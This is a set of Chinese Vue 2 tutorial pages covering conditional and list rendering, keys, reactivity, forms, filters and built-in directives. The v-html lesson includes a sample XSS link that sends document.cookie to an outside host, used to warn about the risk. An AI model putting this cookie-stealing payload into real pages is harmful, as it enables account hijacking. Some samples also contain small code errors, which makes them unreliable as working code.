    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
        条件渲染:
            1、v-if
                写法:
                    (1)、v-if = "表达式"    (表达式 的返回值 必须是Boolean类型)
                    (2)、v-eles-if = "表达式"
                    (3)、v-else 表达式不成立显示的区域
                适用于:切换频率较低的场景
                特点:不展示的DOM元素直接被移除 (在控制台看不到该DOM元素)
                注意:v-if可以和v-else-if、v-else一起使用、但要求结构不能被 “打断”
                
            2、v-show
                写法:v-show = "表达式"         (表达式 的返回值 必须是Boolean类型)
                适用于:切换频率较高的场景。
                特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉。(可以在控制台看到该DOM元素)

            3、备注:使用v-if的时候,元素可能无法获取到,而使用v-show一定可以获取到。    
                    
     -->

    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>当前num值:{{num}}</h2>
      <button @click="num++">点我num+1</button>
      <button @click="num--">点我num-1</button>
      <!-- 使用 v-show 做条件渲染 -->
      <!-- <h2 v-show="false">你好,{{name}}</h2> -->
      <!-- <h2 v-show="1 === 3">你好,{{name}}</h2> -->

      <!-- 使用 v-if 做条件渲染 -->
      <!-- <h2 v-if="false">你好,{{name}}</h2> -->
      <!-- <h2 v-if="true">你好,{{name}}</h2> -->

      <!-- v-else-if和v-else -->
      <h2 v-if="num === 1">111</h2>
      <h2 v-else-if="num === 2">222</h2>
      <h2 v-else-if="num === 3">333</h2>
      <h2 v-else>{{name}}</h2>
      <!-- 如果想实现 块区域的 显示隐藏 建议使用 template 因为他不占用文档位置  不建议使用div 因为他出现的时候会占用文档位置
             注意:template 只能 使用 v-if来渲染  不支持使用v-show  -->
      <!-- v-if和template的配合使用 -->
      <template v-if="num === 1">
        <h2>你好</h2>
        <h2>xinze</h2>
      </template>
    </div>
    <script type="text/javascript">
      Vue.config.productionTip = false;
      new Vue({
        el: "#root",
        data: {
          name: "xinze",
          num: 0,
        },
      });
    </script>
  </body>
</html>

列表渲染

基本列表

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>基本列表</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
        v-for指令:
            1、用于展示列表数据
            2、语法:v-for="(item, index) in xxx" :key="yyy"
            3、可遍历:数组、对象、字符串(用的少)、指定次数(用的少)
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>人员列表(遍历数组)</h2>
      <ul>
        <li v-for="(p,index) in persons" ::key="index">{{p.name}}-{{p.age}}</li>
      </ul>

      <h2>汽车信息(遍历对象)</h2>
      <ul>
        <li v-for="(value, index) in car" :key="index">{{index}}-{{value}}</li>
      </ul>

      <h2>测试遍历字符串(用的少)</h2>
      <ul>
        <li v-for="(char,index) in str" ::key="index">{{index}}-{{char}}</li>
      </ul>

      <h2>测试遍历指定次数(用的少)</h2>
      <ul>
        <li v-for="(number,index) in 5" ::key="index">{{index}}-{{number}}</li>
      </ul>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;
      new Vue({
        el: "#root",
        data: {
          name: "xinze",
          persons: [
            { id: "001", name: "yb", age: "19" },
            { id: "002", name: "yf", age: "19" },
            { id: "003", name: "yg", age: "19" },
          ],
          car: {
            name: "保时捷",
            color: "红色",
            money: "900万",
          },
          str: "Holle",
        },
      });
    </script>
  </body>
</html>

key的原理

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>key的原理</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
        面试题:react、vue中的key有什么作用?(key的内部原理)

          1、虚拟DOM中key的作用:
                key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
                随后Vue进行【新虚拟DOM】 与 【旧虚拟DOM】 的差异比较,比较规程如下:
          
          2、对比规则:
              (1)、旧虚拟DOM中找到了与新虚拟DOM相同的key:
                  ①、若虚拟DOM中内容没变,直接使用之前的真实DOM!
                  ②、若虚拟DOM中内容变了,侧生成新的真实DOM,随后替换掉页面中之前的真实DOM。
                  
              (2)、旧虚拟DOM中未找到与新虚拟DOM相同的key
                  创建新的真实DOM,随后渲染到页面。
          
          3、用index作为key可能会引发的问题:
              1、若对数据进行:逆序添加、逆序删除等破坏顺序操作:
                  会产生没有必要的真实DOM更新 ==> 界面效果没问题,但效率低。
              2、如果结构中还包含输入类的DOM:
                  会产生错误DOM更新 ==> 界面有问题
                  
          4、开发中如何选择key?:
              1、最好使用每天数据的唯一标识作为key,比如 id、手机号、身份证号、学号等唯一值。
              2、如果不存在对数据的逆序添加,或删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
              
          总结:如果逆序添加或者删除 一定要用唯一标识 id 如果用index 你对第一条数据(key===0)进行修改过后 随后在第一条数据前方添加一条新数据
                那么那条新数据就变成了第一条数据  就会保留 原本第一条数据修改后的操作 因为他是继承了 key === 0 的操作  
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>人员列表(遍历数组)</h2>
      <button @click="add">点我在前方加入一组数据</button>
      <ul>
        <li v-for="(p,index) in persons" ::key="index">
          {{p.name}}-{{p.age}} <input type="text" />
        </li>
      </ul>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;
      new Vue({
        el: "#root",
        data: {
          name: "xinze",
          persons: [
            { id: "001", name: "yb", age: "19" },
            { id: "002", name: "yf", age: "19" },
            { id: "003", name: "yg", age: "19" },
          ],
        },
        methods: {
          add() {
            const p = { id: "004", name: "sj", age: "19" };
            this.persons.unshift(p); //unshift() 该方式作用是 在数组最前方加入一组数据
            // this.persons.push(p); //push() 该方式作用是 在数组最后方加入一组数据
          },
        },
      });
    </script>
  </body>
</html>

列表过滤

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>列表过滤</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入名字" v-model="keyWord" />
      <ul>
        <li v-for="(p,index) in filPersons" ::key="index">
          {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
      </ul>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;
      //用watch实现
      /* new Vue({
        el: "#root",
        data: {
          name: "xinze",
          keyWord: "",
          persons: [
            { id: "001", name: "马冬梅", age: "19", sex: "女" },
            { id: "002", name: "周冬雨", age: "20", sex: "女" },
            { id: "003", name: "周杰伦", age: "21", sex: "男" },
            { id: "003", name: "温兆伦", age: "22", sex: "男" },
          ],
          filPersons: [],
        },
        watch: {
          keyWord: {
            immediate: true, //初始化执行
            handler(value) {
              this.filPersons = this.persons.filter((p) => {
                return p.name.indexOf(value) != -1;
              });
            },
          },
        },
      }); */
      //用computed实现
      new Vue({
        el: "#root",
        data: {
          name: "xinze",
          keyWord: "",
          persons: [
            { id: "001", name: "马冬梅", age: "19", sex: "女" },
            { id: "002", name: "周冬雨", age: "20", sex: "女" },
            { id: "003", name: "周杰伦", age: "21", sex: "男" },
            { id: "003", name: "温兆伦", age: "22", sex: "男" },
          ],
        },
        computed: {
          filPersons() {
            return this.persons.filter((p) => {
              return p.name.indexOf(this.keyWord) != -1;
            });
          },
        },
      });
    </script>
  </body>
</html>

列表排序

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>列表排序</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入名字" v-model="keyWord" />
      <button @click="sortType = 2">年龄升序</button>
      <button @click="sortType = 1">年龄降序</button>
      <button @click="sortType = 0">原顺序</button>
      <ul>
        <li v-for="(p,index) in filPersons" ::key="p.id">
          {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
      </ul>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;
      //用computed实现
      new Vue({
        el: "#root",
        data: {
          name: "xinze",
          keyWord: "",
          sortType: 0, //0原顺序  1降序  2升序
          persons: [
            { id: "001", name: "马冬梅", age: "30", sex: "女" },
            { id: "002", name: "周冬雨", age: "31", sex: "女" },
            { id: "003", name: "周杰伦", age: "19", sex: "男" },
            { id: "003", name: "温兆伦", age: "20", sex: "男" },
          ],
        },
        computed: {
          filPersons() {
            const arr = this.persons.filter((p) => {
              //filter()用于对数组进行过滤。 p为当前对象
              return p.name.indexOf(this.keyWord) != -1;
            });
            //这里判断数字 为0的话是false  其他数值皆为true  就是说 为 1 2能进来 0 进不来
            if (this.sortType) {
              //sort() 方法对数组的项目进行排序。
              arr.sort((p1, p2) => {
                //p1 - p2 为升序    p2 - p1 为降序
                return this.sortType == 1 ? p2.age - p1.age : p1.age - p2.age;
              });
            }
            return arr;
          },
        },
      });
    </script>
  </body>
</html>

更新时的一个问题

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>更新时的一个问题</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>人员列表</h2>
      <button @click="updateMei">点我修改马冬梅信息</button>
      <ul>
        <li v-for="(p,index) in persons" ::key="p.id">
          {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
      </ul>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;
      //用computed实现
      new Vue({
        el: "#root",
        data: {
          name: "xinze",
          persons: [
            { id: "001", name: "马冬梅", age: "30", sex: "女" },
            { id: "002", name: "周冬雨", age: "31", sex: "女" },
            { id: "003", name: "周杰伦", age: "19", sex: "男" },
            { id: "003", name: "温兆伦", age: "20", sex: "男" },
          ],
        },
        methods: {
          updateMei() {
            //this.persons[0].name = "马老师"; //奏效
            //this.persons[0].age = "50"; //奏效
            //this.persons[0].sex = "男"; //奏效

            //不奏效  数据其实被改变了 只是没有被Vue检测到 具体过程看下一节
            //看完回来了 因为Vue没有为数组提供get和set所以就算修改了值页面也不会响应 、
            //而上面写的奏效是因为他是数组里面的对象  对象里提供了get和set
            /* this.persons[o] = {
              id: "001",
              name: "马老师",
              age: "50",
              sex: "男",
            }; */

            //Vue对数组里的一些方法进行了封装 并设置了响应式
            //splice(替换元素的序号,替换长度(1个元素是1,2个是2..),'替换的内容')
            /* this.persons.splice(0, 1, {
              id: "001",
              name: "马老师",
              age: "50",
              sex: "男",
            }); */
            //还可以用Vue自身的两种set写法设置该数组
            Vue.set(
              this.persons.splice(0, 1, {
                id: "001",
                name: "马老师",
                age: "50",
                sex: "男",
              })
            );
          },
        },
      });
    </script>
  </body>
</html>

Vue检测数据改变的原理_对象

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Vue检测数据改变的原理</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>{{name}}</h2>
      <h2>{{address}}</h2>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;
      //用computed实现
      const vm = new Vue({
        el: "#root",
        data: {
          name: "xinze",
          address: "北京",
          student: {
            name: "tom",
            age: {
              rAge: 40,
              sAge: 29,
            },
            friends: [{ name: "jerry", age: 35 }],
          },
        },
      });
    </script>
  </body>
</html>

模拟一个简单的数据监测

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>模拟一个简单的数据监测</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <script type="text/javascript">
      let data = {
        name: "xinze",
        address: "北京",
      };

      // 创建一个监视的实例对象,用于监视data中属性的变化
      const obs = new Obsereve(data);
      console.log(obs);

      //准备一个vm实例对象
      let vm = {};
      vm._data = data = obs;

      function Obsereve(obj) {
        //汇总对象中所有属性成一个数组
        const keys = Object.keys(obj);
        //遍历
        keys.forEach((k) => {
          Object.defineProperty(this, k, {
            get() {
              return obj[k];
            },
            set(value) {
              console.log(
                `${k}被改了,我要去解析模板了,生成虚拟DOM.....我要开始忙了`
              );
              obj[k] = value;
            },
          });
        });
      }
    </script>
  </body>
</html>

Vue.set的使用

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>8.Vue.set的使用</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>姓名:{{name}}</h2>
      <h2>地址:{{address}}</h2>
      <hr />
      <button @click="addSex">点我添加一个性别属性,默认值是男</button>
      <h2>学生姓名:{{student.name}}</h2>
      <h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
      <h2>学生年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
      <h2>朋友们</h2>
      <ul>
        <li v-for="(f, index) in student.friends" :key="index">
          {{f.name}}--{{f.age}}
        </li>
      </ul>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;
      //用computed实现
      const vm = new Vue({
        el: "#root",
        data: {
          name: "xinze",
          address: "北京",
          student: {
            name: "tom",
            age: {
              rAge: 40,
              sAge: 29,
            },
            friends: [
              { name: "jerry", age: 35 },
              { name: "tony", age: 36 },
            ],
          },
        },
        methods: {
          addSex() {
            //这两种方法仅可以在 data里 属性上添加字属性, 不能给data添加属性
            // Vue.set(this.student, "sex", "男");
            this.$set(this.student, "sex", "男");
          },
        },
      });
    </script>
  </body>
</html>

Vue检测数据改变的原理_数组

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>9.Vue检测数据改变的原理_数组</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>姓名:{{name}}</h2>
      <h2>地址:{{address}}</h2>
      <hr />
      <button @click="addSex">点我添加一个性别属性,默认值是男</button>
      <h2>学生姓名:{{student.name}}</h2>
      <h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
      <h2>学生年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
      <h2>爱好</h2>
      <ul>
        <li v-for="(h, index) in student.hobby" :key="index">{{h}}</li>
      </ul>
      <h2>朋友们</h2>
      <ul>
        <li v-for="(f, index) in student.friends" :key="index">
          {{f.name}}--{{f.age}}
        </li>
      </ul>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;
      //用computed实现
      const vm = new Vue({
        el: "#root",
        data: {
          name: "xinze",
          address: "北京",
          student: {
            name: "tom",
            age: {
              rAge: 40,
              sAge: 29,
            },
            hobby: ["抽烟", "喝酒", "烫头"],
            friends: [
              { name: "jerry", age: 35 },
              { name: "tony", age: 36 },
            ],
          },
        },
        methods: {
          addSex() {
            //这两种方法仅可以在 data里 属性上添加字属性, 不能给data添加属性
            // Vue.set(this.student, "sex", "男");
            this.$set(this.student, "sex", "男");
          },
        },
      });
    </script>
  </body>
</html>

总结Vue数据监测

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>10.总结Vue数据监测</title>
    <!-- 引入开发Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 
      Vue监视数据的原理:
        1、Vue会监视data中所有层次的数据。

        2、如何监测对象中的数据?
            通过setter实现监视,且要在new Vue时就传入要检测的数据
              (1)、对象中后追加的属性,Vue默认不做响应式处理
              (2)、如需给后添加的属性做响应式,请使用如下API:
                  target 要添加的Vue对象  propertyName要添加的属性名 index下标(没有可以不写)  value 添加的值
                  Vue.set(target, propertyName/index,value)或
                  vm.$set(target, propertyName/index,value)
        3、如何监测数组中的数据?
            通过包裹数组更新元素的方法实现,本质就是做了两件事:
              (1)、调用原生对应的方法对数组进行更新。
              (2)、重新解析模板,进而更新页面。
              
        4、在Vue修改数组中的某个元素一定要用如下方法:
            1、使用这些API:
                push()    在该数组末尾新增
                pop()     删除该数组末尾元素
                shift()   删除该数组第一个元素
                unshift() 在该数组开头添加
                splice()  替换掉数组中指定位置的元素    splice(替换元素的序号,替换长度(1个元素是1,2个是2..),'替换的内容')
                sort()    数组进行排序
                reverse() 反转数组
            2、Vue.set() 或 vm.$set()    
        
        注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象(data) 添加属性
     -->

    <!-- 准备好一个容器 -->
    <div id="root">
      <h1>学生信息</h1>

      <button @click="student.age++">年龄+1岁</button><br />
      <button @click="addSex">添加性别属性,默认值:男</button><br />
      <button @click="student.sex = '未知'">修改性别</button><br />
      <button @click="addFirend">在列表首位添加一个朋友</button><br />
      <button @click="updateFirend">修改第一个朋友的名字为:张三</button><br />
      <button @click="addHobby">添加一个爱好</button><br />
      <button @click="updateHobby">修改第一爱好为:开车</button><br />
      <button @click="removeHobby('抽烟')">过滤掉爱好中的抽烟</button><br />

      <h2>学生姓名:{{student.name}}</h2>
      <h2 v-if="student.sex">学生性别:{{student.sex}}</h2>
      <h2>学生年龄:{{student.age}}</h2>
      <h2>爱好</h2>
      <ul>
        <li v-for="(h, index) in student.hobby" :key="index">{{h}}</li>
      </ul>
      <h2>朋友们</h2>
      <ul>
        <li v-for="(f, index) in student.friends" :key="index">
          {{f.name}}--{{f.age}}
        </li>
      </ul>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;
      //用computed实现
      const vm = new Vue({
        el: "#root",
        data: {
          student: {
            name: "tom",
            age: 18,
            hobby: ["抽烟", "喝酒", "烫头"],
            friends: [
              { name: "jerry", age: 35 },
              { name: "tony", age: 36 },
            ],
          },
        },
        methods: {
          addSex() {
            this.$set(this.student, "sex", "男");
          },
          addFirend() {
            //unshift()  在该数组首位添加一个对象
            this.student.friends.unshift({ name: "jack", age: 18 });
          },
          updateFirend() {
            //这里可以直接赋值  因为数字下标为0的 位置是个对象 (对象里的属性包含get set)
            this.student.friends[0].name = "xinze";
          },
          addHobby() {
            //push()  在该数组末尾添加
            this.student.hobby.push("听歌");
          },
          updateHobby() {
            //splice(替换元素的序号,替换长度(1个元素是1,2个是2..),'替换的内容')
            this.student.hobby.splice(0, 1, "开车");
            //Vue.set(this.student.hobby, 0, "开车");
            //this.$set(this.student.hobby, 0, "开车");
          },
          removeHobby(val) {
            //filter(x) 过滤数组并返回一个新的数组  x为当前数组中遍历的值
            this.student.hobby = this.student.hobby.filter((h) => {
              return h != val;
            });
          },
        },
      });
    </script>
  </body>
</html>

收集表单数据

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <script src="../js//vue.js"></script>
    <title>收集表单数据</title>
  </head>

  <body>
    <!-- 
      手机表单数据:
          若:<input type="text"/>,则 v-model收集的是value值,用户输入的就是value值。
          若:<input type="radio"/>,则 v-model收集的是value值,且要给标签配置value值。
          若:<input type="checkbox"/>,
              1、没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
              2、配置input的value属性:
                  (1)、v-model的初始值是非数组,那么收集的就是checked(勾选  or  未勾选,是布尔值)
                  (2)v-model的初始值是数组,那么收集的就是value组成的数组
          备注:v-model的三个修饰符:
              lazy:失去焦点在收集数据
              number:输入字符串转为有效的 数字
              trim:输入首尾空格过滤        
     -->

    <div id="root">
      <!-- //添加一个 提价事件 去除默认事件 -->
      <form @submit.prevent="demo">
        <!-- v-model.trim 手机信息时候去除前后空格 -->
        账号:<input type="text" v-model.trim="user.username" /><br /><br />
        密码:<input type="password" v-model="user.password" /><br /><br />
        <!-- v-model.number把获取到的值转为数字 -->
        年龄:<input type="number" v-model.number="user.password" /><br /><br />
        性别 : 男
        <input type="radio" name="sex" value="男" v-model="user.sex" />
        女
        <input type="radio" name="sex" value="女" v-model="user.sex" />
        <br /><br />
        爱好: 学习
        <input type="checkbox" value="study" v-model="user.hobby" />
        打游戏
        <input type="checkbox" value="game" v-model="user.hobby" />
        吃饭
        <input type="checkbox" value="eat" v-model="user.hobby" />
        <br /><br />
        所属校区
        <select v-model="user.city">
          <option value="0">-请选择-</option>
          <option value="beijing">-北京-</option>
          <option value="shanghai">-上海-</option>
          <option value="shenzhen">-深圳-</option></select
        ><br /><br />
        其他信息
        <!-- v-model.lazy 失去焦点在收集信息 -->
        <textarea v-model.lazy="user.other"></textarea><br /><br />
        <input type="checkbox" v-model="user.agree" />
        阅读并接受<a href="http://www.baidu.com">《用户协议》</a>
        <button>提交</button>
      </form>
    </div>
  </body>
  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        user: {
          username: "",
          password: "",
          age: 0,
          sex: "",
          hobby: [],
          city: "",
          other: "",
          agree: "",
        },
      },
      methods: {
        demo() {
          console.log(JSON.stringify(this.user));
        },
      },
    });
  </script>
</html>

过滤器

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <script src="../js//vue.js"></script>
    <script src="../js//dayjs.min.js"></script>
    <title>过滤器</title>
  </head>
  <body>
    <!-- 
        过滤器:
            定义:对咬现实的数据进行特定格式化后在显示(适用于一些简单逻辑的处理)。
            语法:
                1、注册过滤器:Vue.filter(name,funcation) 或 new Vue{filters:{}}
                2、使用过滤器:{{xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
            备注:
                1、过滤器也可以接收额外参数、多个过滤器也可以串联
                2、并没有改变原本的数据,是产生新的对应的数据    
     -->

    <div id="root">
      <h2>显示格式化后的时间</h2>
      <h3>现在是:{{time}}</h3>
      <!-- 计算属性实现 -->
      <h3>计算属性实现:{{fmtTime}}</h3>
      <!-- methods实现 -->
      <h3>methods实现:{{getFmtTime()}}</h3>

      <!-- 过滤器实现 -->
      <h3>过滤器实现 :{{time | timeFormater}}</h3>
      <!-- v-bind:过滤器实现 -->
      <h3 :x="name | mySlice">v-bind:过滤器实现 :</h3>
      <!-- 过滤器传参实现 -->
      <h3>过滤器传参实现: {{time | timeFormater('YYYY-MM-DD')}}</h3>
      <!-- 多个过滤器实现  最后一个过滤器接收的是 前一个过滤器返回的值-->
      <h3>多个过滤器实现: {{time | timeFormater | mySlice}}</h3>
    </div>

    <div id="root2">
      <!-- 过滤器实现 -->
      <h3>外部:{{time | mySlice}}</h3>
    </div>
  </body>
  <script type="text/javascript">
    Vue.config.productionTip = false;
    // 设置全局过滤器
    Vue.filter("mySlice", function (value) {
      return value.slice(0, 4);
    });

    new Vue({
      el: "#root",
      data: {
        name: "xinze",
        time: 1621561377603, //时间戳
      },
      computed: {
        fmtTime() {
          return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss");
        },
      },
      methods: {
        getFmtTime() {
          return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss");
        },
      },
      //设计局部过滤器 只能在当前Vue实例身上使用
      filters: {
        /*timeFormater() {
          return dayjs(this.time).format("YYYY-MM-DD HH:mm:ss");
        }, */

        //timeFormater(v) 默认是有值的就是谁调用了这个过滤器 那个调用的就是值
        //你也可以另外传值 在第二个参数位置上  str = xxx   str为空的时候 使用你自己的赋值 xxx  不为空 就用传过来的值
        timeFormater(value, str = "YYYY-MM-DD HH:mm:ss") {
          return dayjs(value).format(str);
        },
      },
    });

    new Vue({
      el: "#root2",
      data: {
        time: "你好,xinze",
      },
    });
  </script>
</html>

内部指令 

v-text_指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>v-text_指令</title>
    <!-- 导入 vue 文件 -->
    <script src="../js//vue.js"></script>
  </head>

  <body>
    <!-- 
        我们学过的指令:
            v-bind: 单项绑定解析表达式,可以简写为  :xxx
            v-model:双向数据绑定
            v-for:  遍历数组/对象/字符串
            v-on:   绑定事件监听,可简写为 @
            v-if:   条件渲染(动态控制节点是否存在)
            v-else: 条件渲染(动态控制节点是否存在)
            v-show: 条件渲染(动态控制节点是否展示)
        v-text:指令:
            1、作用:向其所在的节点中渲染文本内容。
            2、与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}不会    
     -->
    <!-- 被 vm 实例所控制的区域 -->
    <div id="root">
      <div>你好,{{name}}</div>
      <div>{{str}}</div>
      <div v-text="name">你好,</div>
      <div v-text="str"></div>
    </div>

    <script>
      //创建 vm 实例对象
      const vm = new Vue({
        el: "#root",
        data: {
          name: "xinze",
          str: "<h2>你好</h2>",
        },
      });
    </script>
  </body>
</html>

v-html_指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>v-html_指令</title>
    <!-- 导入 vue 文件 -->
    <script src="../js//vue.js"></script>
  </head>
  <body>
    <!-- 
      v-html指令:
          1、作用:向指定节点中渲染包含html结构的内容
          2、与插值语法的区别:
              (1)、v-html会替换掉节点中所有的内容,{{xxx}}插值语法不会
              (2)、v-html可以识别html结构。
          3、严重注意:v-html又安全性问题!!!
              (1)、在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击(跨站脚本攻击)。
              (2)、一定要在可信的内容上使用v-html,用不要用在用户提交的内容上!    
     -->

    <!-- 被 vm 实例所控制的区域 -->
    <div id="root">
      <div v-text="str"></div>
      <div v-html="str"></div>
      <div v-html="str2"></div>
    </div>

    <script>
      //创建 vm 实例对象
      const vm = new Vue({
        el: "#root",
        data: {
          name: "xinze",
          str: "<h2>你好</h2>",
          //document.cookie 发送当前网站的所有 cookie   cookie你可以简单理解为  你当前页面的用户信息 别人拿到了 就能登你号
          str2: "<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>兄弟我找到你想要的资源了。</a>",
        },
      });
    </script>
  </body>
</html>

v-cloak指令

         

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>v-cloak指令</title>
    <!-- 导入 vue 文件 -->
    <style>
      [v-cloak] {
        display: none;
      }
    </style>
  </head>
  <body>
    <!-- 
        v-cloak指令 (没有值)
            1、本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
            2、使用css配合v-cloak可以解决网速慢是页面展示出{{xxxx}}的问题
        备注:简单来说 你网速慢的时候 会先加载DOM元素  然后在加载 vue.js路径  这样的话 vue实例的{{xxx}}就会被显示出来
            而v-cloak指令实在 没有加载vue.js的时候 存在 Vue.js被加载就会消失  这时候就可以配置css属性选择样式 来隐藏配置了
            v-cloak指令的元素  实现动态显示隐藏
            
     -->
    <!-- 被 vm 实例所控制的区域 -->
    <div id="root">
      <h2 v-cloak>{{name}}</h2>
    </div>
  </body>
  <script src="../js//vue.js"></script>

  <script>
    //创建 vm 实例对象
    const vm = new Vue({
      el: "#root",
      data: {
        name: "xinze",
      },
    });
  </script>
</html>

v-once_指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>v-once_指令</title>
    <!-- 导入 vue 文件 -->
    <script src="../js//vue.js"></script>
  </head>

  <body>
    <!-- 
        v-once指令:
            1、v-once所在节点在初次动态渲染后,就视为静态内容了。(就是不会被修改)
            2、以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
     -->
    <!-- 被 vm 实例所控制的区域 -->
    <div id="root">
      <h1 v-once>初始值:{{num}}</h1>
      <h1>当前值:{{num}}</h1>
      <button @click="num++">点我+1</button>
    </div>

    <script>
      //创建 vm 实例对象
      const vm = new Vue({
        el: "#root",
        data: {
          name: "xinze",
          num: 1,
        },
      });
    </script>
  </body>
</html>

v-pre_指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>v-pre_指令</title>
    <!-- 导入 vue 文件 -->
    <script src="../js//vue.js"></script>
  </head>

  <body>
    <!-- 
        v-pre指令:
            1、跳过其所在节点的编译过程。
            2、可利用它跳过:没有使用Vue语法的DOM元素(指令语法、插值语法)用来加快编译
     -->
    <!-- 被 vm 实例所控制的区域 -->
    <div id="root">
      <h2 v-pre>Vue其实很简单</h2>
      <h1 v-pre>当前值:{{num}}</h1>
      <h1>当前值:{{num}}</h1>
      <button @click="num++">点我+1</button>
    </div>
  </body>

  <script>
    //创建 vm 实例对象
    const vm = new Vue({
      el: "#root",
      data: {
        name: "xinze",
        num: 1,
      },
    });
  </script>
</html>

自定义指令

回顾一个DOM操作

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>回顾一个DOM操作</title>
    <script src="../js//vue.js"></script>
  </head>
  <style>
    .dome {
      background-color: orange;
    }
  </style>
  <body>
    <button id="bth">点我创建一个输入框</button>
    <script>
      const bth = document.getElementById("bth");
      bth.onclick = () => {
        const input = document.createElement("input");

        input.className = "demo";
        input.value = 99;
        input.onclick = () => {
          alert(1);
        };

        document.body.appendChild(input);

        input.focus();
      };
    </script>
  </body>
</html>

自定义指令

<!DOCTYPE html>
<html lang="en">
  <head>
